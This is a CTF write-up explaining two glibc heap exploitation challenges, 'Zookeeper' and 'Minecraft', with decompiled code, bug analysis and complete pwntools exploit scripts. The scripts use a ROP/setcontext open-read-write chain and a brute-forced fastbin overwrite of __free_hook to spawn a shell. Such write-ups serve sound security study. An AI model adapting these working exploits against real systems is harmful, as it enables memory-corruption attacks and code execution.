My team purf3ct cleared the pwn section of this ctf, so for the first time, I feel qualifed enough to make a writeup about 2 heap challenges, which introduce some nice heap exploitation techniques
Zookeeper
The binary is running with GLIBC-2.31.
Looking for vulnerabilities
Let’s look into IDA decompilation.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int idx_; // ebx
struct_zoo *ptr; // rbx
char choice; // [rsp+3h] [rbp-1Dh] BYREF
int idx; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v7; // [rsp+8h] [rbp-18h]
v7 = __readfsqword(0x28u);
puts("Are you fit to be the keeper of the zoo?");
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
puts("(f)ind a lion");
puts("(l)ose a lion");
puts("(v)iew a lion");
__isoc99_scanf("%c%*c", &choice);
if ( choice != 'f' )
break;
puts("idx:");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
exit(0);
idx_ = idx;
array[idx_] = (struct_zoo *)malloc(0x50uLL);
puts("len:");
__isoc99_scanf("%d%*c", array[idx]);
ptr = array[idx];
ptr->content = (char *)malloc(SLODWORD(ptr->len));
strcpy(array[idx]->token, "valid management");
puts("content:");
read(0, array[idx]->content, SLODWORD(array[idx]->len));
array[idx]->content[SLODWORD(array[idx]->len) - 1] = 0;
}
if ( choice != 'l' )
break;
puts("idx:");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
exit(0);
if ( strncmp(array[idx]->token, "valid management", 0x10uLL) )
exit(0);
free(array[idx]);
free(array[idx]->content);
array[idx] = 0LL;
}
}
while ( choice != 'v' );
puts("idx:");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
exit(0);
if ( strncmp(array[idx]->token, "valid management", 0x10uLL) )
exit(0);
puts(array[idx]->content);
}
}
It’s a very typical looking heap challenge with these functionalities: malloc, free, and view
And there is a struct_zoo:
struct_zoo {
_QWORD len;
char * content;
char token[16];
}
Looking through it, we can immediately see this line:
read(0, array[idx]->content, SLODWORD(array[idx]->len));
Combined with the view function, we can easily leak libc address through unsorted bin, and also heap address through tcache. We have already achieved a info-leak
There is also another very subtle bug laying in the free function:
free(array[idx]);
free(array[idx]->content);
The chunk is freed before the actual content inside the chunk get freed. What can we achieve with this?
Well, when a chunk get freed, there is a fd and bk pointer get placed at the first 16 bytes of the chunk
The bk pointer is actually pointing to a large chunk at the beginning, the tcache_perthread_struct:
Looking at the zoo_struct we can see that the bk pointer perfectly aligns with the content pointer. Thus, we can free the tcache_perthread_struct, and then malloc a chunk with 0x290 size to overwrite that struct. What can we do with this?
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
The tcache freelist is structured as a doubly-linked list. And the entries array contains the head of each doubly-linked list with each tcache size.
Those heap pointer is the head pointer of each list. So if we can overwrite those entries, we can control malloc to return an arbitrary pointer of our control.
However, there is the existence of seccomp:
We cannot just overwrite __free_hook with one_gadget, but there is this well documented technique for orw capability. You can read more about it here
My messy exploit script
I shamelessly copied from the blog above
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
#r = gdb.debug("./vuln_patched")
r = remote("zookeeper.chal.imaginaryctf.org",1337)
def new(idx,sz,content):
r.sendlineafter("(v)iew a lion\n",'f')
r.sendlineafter("idx:\n",str(idx))
r.sendlineafter("len:\n",str(sz))
r.sendafter("content:\n",content)
def delete(idx):
r.sendlineafter("(v)iew a lion\n",'l')
r.sendlineafter("idx:\n",str(idx))
def view(idx):
r.sendlineafter("(v)iew a lion\n",'v')
r.sendlineafter("idx:\n",str(idx))
new(0,0x20-8,'a')
view(0)
heap_leak = u64(r.recvline()[0:-1].ljust(8,'\0'))
heap_base = heap_leak - 0x1b61
log.info("HEAP LEAK: " + hex(heap_leak))
log.info("HEAP BASE: " + hex(heap_base))
new(1,0x430,'a')
new(2,0x30,'a')
view(2)
libc_leak = u64(r.recvline()[0:-1].ljust(8,'\0'))
libc.address =libc_leak - 0x1ebc61
log.info("LIBC LEAK: " + hex(libc_leak))
log.info("LIBC BASE ADDRESS: " + hex(libc.address))
#context.log_level = 1
pop_rdi = libc.address + 0x26b72
pop_rsi = libc.address + 0x27529
pop_rdx_r12 = libc.address + 0x11c371
push_rax = libc.address + 0x45197
pop_rax = libc.address + 0x4a550
xchg_eax_edi = libc.address + 0x2ad2b
syscall_ret = libc.address + 0x66229
call_gadget = libc.address + 0x154930
setcontext_gadget = libc.address + 0x580DD
new(3,0x50,'a')
new(4,0x50,'a')
new(5,0x50,'a')
delete(5)
new(6,0x290-8,p64(1) + p64(0)*15 + p64(libc.sym['__free_hook']))
new(7,0x10,p64(call_gadget))
base = heap_base + 0x2390
payload = b"A"*8 # <-- [rdi] <-- payload_base
payload += p64(base) # <-- [rdi + 8] = rdx
payload += b"B"*0x10 # padding
payload += p64(setcontext_gadget) # <-- [rdx + 0x20]
payload += p64(0) # <-- [rdx + 0x28] = r8
payload += p64(0) # <-- [rdx + 0x30] = r9
payload += b"A"*0x10 # padding
payload += p64(0) # <-- [rdx + 0x48] = r12
payload += p64(0) # <-- [rdx + 0x50] = r13
payload += p64(0) # <-- [rdx + 0x58] = r14
payload += p64(0) # <-- [rdx + 0x60] = r15
payload += p64(base + 0x158) # <-- [rdx + 0x68] = rdi (ptr to flag path)
payload += p64(0) # <-- [rdx + 0x70] = rsi (flag = O_RDONLY)
payload += p64(0) # <-- [rdx + 0x78] = rbp
payload += p64(0) # <-- [rdx + 0x80] = rbx
payload += p64(0) # <-- [rdx + 0x88] = rdx
payload += b"A"*8 # padding
payload += p64(0) # <-- [rdx + 0x98] = rcx
payload += p64(base + 0xb0) # <-- [rdx + 0xa0] = rsp, perfectly setup for it to ret into our chain
payload += p64(pop_rax) # <-- [rdx + 0xa8] = rcx, will be pushed to rsp
payload += p64(2)
payload += p64(syscall_ret) # sys_open("/path/to/flag", O_RDONLY)
payload += p64(xchg_eax_edi)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x15000) # destination buffer, can be anywhere readable and writable
payload += p64(pop_rdx_r12)
payload += p64(0x100) + p64(0) # nbytes
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall_ret) # sys_read(eax, heap + 0x15000, 0x100)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x15000) # buffer
payload += p64(pop_rdx_r12)
payload += p64(0x100) + p64(0) # nbytes
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall_ret) # sys_write(1, heap + 0x15000, 0x100)
payload += "flag.txt"
new(8,len(payload) + 0x10,payload)
delete(8)
r.interactive()
Conclusion
It was a very nice introduction to tcache heap exploitation, a very compact and simple binary, and a very subtle bug leading to the discovery of a powerful primitive. Even if you are a beginner, I believe you can still solve this challenge
(except for the last seccomp part)
Minecraft (6 solves)
This was a difficult heap challenge, however I solved it in an unintended way, which might be easier than the official solution.
The binary was running with GLIBC-2.27
Decompile and hopelessly look for a plan
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // ebx
char choice; // [rsp+3h] [rbp-1Dh] BYREF
int idx; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
system("clear");
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("It's Minecraft time! Your speedrun starts... now!");
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("(p)lace a block");
puts("(b)reak a block");
puts("(r)eplace a block");
puts("(l)eak the end poem");
__isoc99_scanf("%c%*c", &choice);
if ( choice != 'p' )
break;
puts("idx: ");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
_Exit(0);
puts("len: ");
__isoc99_scanf("%ld%*c", &sizes[idx]);
if ( sizes[idx] <= 1279 || sizes[idx] > 0x10000 )
_Exit(0);
i = idx;
*((_QWORD *)&mem + i) = malloc(sizes[idx]);
puts("type of block: ");
if ( idx < 0 || idx > 16 )
_Exit(0);
read(0, *((void **)&mem + idx), sizes[idx]);
}
if ( choice != 'b' )
break;
puts("idx: ");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
_Exit(0);
free(*((void **)&mem + idx));
puts("keep in inventory? ");
__isoc99_scanf("%c%*c", &choice);
if ( choice != 'y' || kept )
{
puts("Inventory full!");
*((_QWORD *)&mem + idx) = 0LL;
}
else
{
++kept;
}
}
if ( choice != 'r' )
break;
puts("Careful... you can replace a block once.");
if ( replaced )
_Exit(0);
++replaced;
puts("idx: ");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
_Exit(0);
puts("type of block: ");
read(0, *((void **)&mem + idx), sizes[idx]);
}
}
while ( choice != 'l' );
puts("Careful... you can only leak the end poem once.");
puts("idx: ");
__isoc99_scanf("%d%*c", &idx);
if ( idx < 0 || idx > 16 )
_Exit(0);
if ( strchr(*((const char **)&mem + idx), 'n') )
_Exit(0);
if ( strlen(*((const char **)&mem + idx)) > 9 )
_Exit(0);
printf(*((const char **)&mem + idx));
_Exit(0);
}
This was another very compact and simple binary, so I just simply skimmed through the decompilation.
We can only malloc a chunk outside of tcache range:
__isoc99_scanf("%ld%*c", &sizes[idx]);
if ( sizes[idx] <= 1279 || sizes[idx] > 0x10000 )
_Exit(0);
i = idx;
*((_QWORD *)&mem + i) = malloc(sizes[idx]);
puts("type of block: ");
if ( idx < 0 || idx > 16 )
_Exit(0);
read(0, *((void **)&mem + idx), sizes[idx]);
Immediately we can already see an obvious bug.
free(*((void **)&mem + idx));
puts("keep in inventory? ");
__isoc99_scanf("%c%*c", &choice);
if ( choice != 'y' || kept )
{
puts("Inventory full!");
*((_QWORD *)&mem + idx) = 0LL;
}
else
{
++kept;
}
We have an one-time use-after-free.
We have a edit function(replace block), and we also have free function(break block).
Thus we can write into freed chunk, and also we can free a chunk twice, the first time we keep the block, the second time we cannot keep it anymore.
There is also a printf format string vulnerability:
if ( strchr(*((const char **)&mem + idx), 'n') )
_Exit(0);
if ( strlen(*((const char **)&mem + idx)) > 9 )
_Exit(0);
printf(*((const char **)&mem + idx));
_Exit(0);
However it _exit right after, so we cannot use it to leak, and the n character gets filtered as well, so no write for us. There is actually a way to leak using printf without exiting the binary, its the intended solution. I wont mention the technique here, but leave it for another post
Brainstorming for an idea
Lets summarize what we have: a UAF, a double-free, malloc in unsorted bin range, we dont have a leak, we already can call system because there is no PIE. But with those 2 powerful vulnerabilities, maybe we can develop a leakless exploit?
The binary use read to get input, thus we can do relative write, with a bit of luck we might not need a leak.
Because we can only interact with chunk in unsorted bin range, so maybe first we should perform an unsorted bin attack. Abuse this, we can write large value into global_max_fast (because main_arena address in freed unsorted bin only has a 4 bit randomization that we have to brute-force)
Address in unsorted bin:
Address of global_max_fast:
After the unsorted bin attack:
- We have leveraged our capability, we can now interact with fastbin chunk.
Normally, we can now just perform a fastbin attack near __malloc_hook, but sadly we do not have a leak, and at the same time, we don’t have any libc address left on the heap to do partial overwrite. - We have already used our one-time UAF, and now we have to abuse the double-free vulnerability.
To move forward, there is a technique you can use after overwriting large value into global_max_fast.
- There is a fastbin array to store the head of the doubly-linked list of each fastbin size. Thus, it becomes obvious that when global_max_fast becomes too big, the entry for that large size will be out of bounds.
This will give us the ability to write heap address to outside of the fastbinY array - There is also this piece of code in the glibc _int_malloc function:
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
fb is the pointer to the array entry (which with large size will be out of bounds). We can see that when we malloc, the array entry will get placed with the free fastbin fd pointer.
This is typical doubly-linked list remove functionality.
=>
=>
The pushback
Immediately, we can recognize that __free_hook is in the range after fastbinY array.
- So we can just free a chunk with an appropriate size, to put heap address into __free_hook.
- And then somehow overwrite the fd pointer to system_plt (no PIE).
- Malloc again and free_hook gets replaced with system_plt
___________________________________________________________________________
Sadly we dont have a UAF anymore, thats the restriction of this challenge. However we still have double-free vulnerability on our hands, the plan should look like this:
- Free chunk1 to put heap address into __free_hook.
- Free chunk2 (to avoid double free detection)
- Free chunk1 again (now there are 2 chunk1 on the freebin list)
- Malloc to take chunk1 out, overwrite the fd pointer.
- Malloc to take chunk2 out.
- Malloc to take chunk1 out again, however this time the fd pointer has been overwritten, and we have our controlled write.
_____________________________________________________________________________
Unfortunately this would fail, due to the fact that after step1, __free_hook will be heap address, so the second time we free, __free_hook gets called and we get segfault :(
The 1/16 chance to succeed was too good to be true
We have now realized we cannot just free a chunk to write into __free_hook right again. So what can we do?
We have to find a different way to overwrite the fd pointer. What if we can achieve something like this:
- Free chunk1 with appropriate size, heap address gets written into __free_hook (wont use free again)
- Malloc chunk2, somehow chunk2 will overwrite into chunk1 fd pointer.
- Malloc to take chunk1 out, and free_hook gets written with the address of our control.
=> We have to figure out how to do this:Malloc chunk2, somehow chunk2 will overwrite into chunk1 fd pointer.
Well a double-free vulnerability is already pretty powerful, we can just overwrite fd pointer to point to different things (perform a fastbin attack)
=>We can point it to a fake chunk near the freed chunk1, so the next malloc we can overwrite into chunk1 data
___________________________________________________________________________________
Again unfortunately no leak, so we dont know where to point to. However remember what i said earlier:
“We can now just perform a fastbin attack near __malloc_hook, but sadly we do not have a leak, and at the same time, we don’t have any libc address left on the heap to do partial overwrite.”
But we have heap address already on the heap, specifically the fd pointer, is pointing to next chunk in the heap segment,
Again this partial overwrite will have 4 bit randomization (we have to partial overwrite 2 bytes, the first 12 bits are not affected by aslr)
And our chance to succeed decrease even more. C’est la vie :(
The full exploit plan
The heap layout i want to achieve:
- Free chunk 2, then use UAF to partial overwrite the bk ptr to point to global_max_fast, so global_max_fast has a large value (1/16 chance)
- Double free chunk 2, leverage this to again partial overwrite the fd ptr to point to another heap chunk instead, in particular our fake chunk (1/16 chance)
- Free chunk 3, so __free_hook now have heap address, we will not free again to avoid segfault
- Now when we malloc 0x510, we will get a chunk near chunk 3, thus we can overwrite the fd ptr in chunk 3 (overwrite to system plt)
- After that malloc 0x3950, and __free_hook wil be written with our newly put fd ptr
- Free chunk 4, spawn a shell -> 1/256 chance to succeed
#!/usr/bin/env python3
from pwn import *
def place(idx,sz,content):
r.sendlineafter(b"(l)eak the end poem\n",b'p')
r.sendlineafter(b"idx: \n",str(idx).encode())
r.sendlineafter(b"len: \n",str(sz).encode())
r.sendafter(b"block: \n",content)
def brk(idx,option):
r.sendlineafter(b"(l)eak the end poem\n",b'b')
r.sendlineafter(b"idx: \n",str(idx).encode())
r.sendlineafter(b"inventory? \n",option)
def replace(idx,content):
r.sendlineafter(b"(l)eak the end poem\n",b'r')
r.sendlineafter(b"idx: \n",str(idx).encode())
r.sendafter(b"block: \n",content)
while True:
try:
r = remote("minecraft.chal.imaginaryctf.org", 1337)
#r = process("./vuln_patched")
place(0, 0x500, b'a')
place(1, 0x500, b'\0'*0x488 + p64(0x511))
place(2, 0x3940, b'a')
place(3,0x500, b'a')
place(5,0x500,b'/bin/sh')
brk(1,b'y')
replace(1, p64(0) + p16(0xf940 - 0x10))
place(6, 0x500, b'a')
brk(6,b'n')
brk(3,b'n')
brk(1,b'n')
place(1,0x500,p16(0x5bf0))
place(3,0x500,p64(0))
place(6,0x500,b'b')
brk(2,b'n')
place(7,0x500,b'A'*14*8 + p64(0) + p64(0x3951) + p64(0x401114))
place(8,0x3940,b'c')
r.sendlineafter(b"(l)eak the end poem\n",b'b')
r.sendlineafter(b"idx: \n",b'5')
sleep(0.2)
r.sendline(b"echo pwn")
sleep(0.2)
r.sendline(b"cat fl*")
while r.can_recv(timeout = 3):
data = r.clean_and_log()
log.info(data)
r.interactive()
except Exception as e:
print(e)
print("FAIL")
pass
Conclusion
My solution was just plain heap feng shui. The intended solution however will introduce a much more interesting heap exploitation technique, which might be the better way to exploit heap after GLIBC 2.35 (after __free_hook and __malloc_hook got removed)
I will write more about this technique in another post. Because there is actually a minecraft revenge challenge ;)
